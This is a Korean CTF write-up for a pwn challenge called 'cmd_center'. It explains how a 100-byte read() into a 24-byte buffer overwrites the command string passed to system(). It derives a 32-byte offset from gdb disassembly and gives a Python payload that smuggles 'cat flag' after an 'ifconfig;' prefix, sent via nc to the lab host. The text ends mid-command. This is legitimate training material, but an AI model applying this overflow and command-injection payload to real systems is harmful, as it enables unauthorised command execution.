cmd_center

A 24-byte name buffer read with 100 bytes, overflowing into the command string passed to system().

2026.08.18 Pwn original post

문제에서 제공된 C 코드는 다음과 같다.

char cmd_ip[256] = "ifconfig"; int dummy; char center_name[24]; printf("Center name: "); read(0,

center_name, 100); if (!strncmp(cmd_ip, “ifconfig”, 8)) { system(cmd_ip); } else { printf(“Something is

wrong!\n"); }

여기서 핵심 취약점은 center_name 배열의 크기보다 훨씬 큰 입력을 받는다는 점이다. center_name은 24바이트밖에 되지 않지만, read()는 최대 100바이트까지 입력을 받는다. 따라서 center_name 뒤에 있는 스택 영역을 덮어쓸 수 있다. 이 문제의 목표는 cmd_ip 값을 조작해서 system(cmd_ip)에서 ifconfig가 아닌 다른 명령어도 실행하도록 만드는 것이 다.

  1. 중요한 조건

코드를 보면 바로 system(cmd_ip)가 실행되는 것이 아니라, 먼저 아래 조건을 검사한다.

strncmp(cmd_ip, “ifconfig”, 8)

즉, cmd_ip의 앞 8바이트가 반드시 “ifconfig”와 같아야 한다. 따라서 cmd_ip를 단순히 다음처럼 바꾸면 안 된다:

cat flag

이 경우 앞 8바이트가 ifconfig가 아니기 때문에 조건문을 통과하지 못한다. 대신 쉘 명령어에서 ;를 사용하면 여러 명령어를 이어서 실행할 수 있다.

ifconfig; cat flag

이렇게 하면 앞부분은 ifconfig이므로 strncmp() 검사를 통과하고, 이후 system()에서 ifconfig 실행 후 cat flag도 실행 된다. 3. Offset 구하기 이 문제는 ret 주소를 덮는 문제가 아니라, 스택에 있는 지역 변수 cmd_ip를 덮는 문제이다. 따라서 필요한 것은 center_name 시작 위치에서 cmd_ip 시작 위치까지 몇 바이트 떨어져 있는가?

즉, offset이다. gdb에서 main 함수를 disassemble하면 다음과 같은 부분을 확인할 수 있다.

0x916 <+105>: lea -0x130(%rbp),%rax 0x91d <+112>: mov $0x64,%edx 0x922 <+117>: mov %rax,%rsi
0x925 <+120>: mov $0x0,%edi 0x92a <+125>: call read@plt

read() 함수의 두 번째 인자는 입력을 저장할 버퍼 주소이다. x86-64 리눅스에서는 함수 인자가 다음 레지스터로 전달된다.

1번째 인자: rdi 2번째 인자: rsi 3번째 인자: rdx

여기서 read() 호출 직전에:

lea -0x130(%rbp), %rax

mov %rax, %rsi 가 있으므로, 입력이 저장되는 위치는 다음과 같다.

center_name = rbp - 0x130

즉, center_name은 rbp - 0x130에 위치한다.

다음으로 cmd_ip가 어디에 있는지 확인한다.

0x92f <+130>: lea -0x110(%rbp),%rax 0x936 <+137>: mov $0x8,%edx 0x93b <+142>: lea 0xd0(%rip),%rsi
0x942 <+149>: mov %rax,%rdi 0x945 <+152>: call strncmp@plt

strncmp()의 첫 번째 인자는 비교할 문자열인 cmd_ip이다. x86-64 리눅스에서는 첫 번째 인자가 rdi로 전달된다.

호출 직전에:

lea -0x110(%rbp), %rax

mov %rax, %rdi 가 있으므로 cmd_ip의 위치는 다음과 같다.

cmd_ip = rbp - 0x110

이제 두 변수 사이의 거리를 계산하면 된다.

center_name = rbp - 0x130
cmd_ip = rbp - 0x110

차이는:

0x130 - 0x110 = 0x20

0x20은 10진수로 32이다.

0x20 = 32 bytes

따라서 center_name 시작 위치에서 32바이트를 채우면, 그 다음부터 cmd_ip를 덮어쓸 수 있다. 즉 payload 구조는 다음과 같다. “A” * 32 + “ifconfig; cat flag” python3 -c ‘import sys; sys.stdout.buffer.write(b”A”*32 + b”ifconfig; cat flag\x00”)’ | nc host8.dreamhack.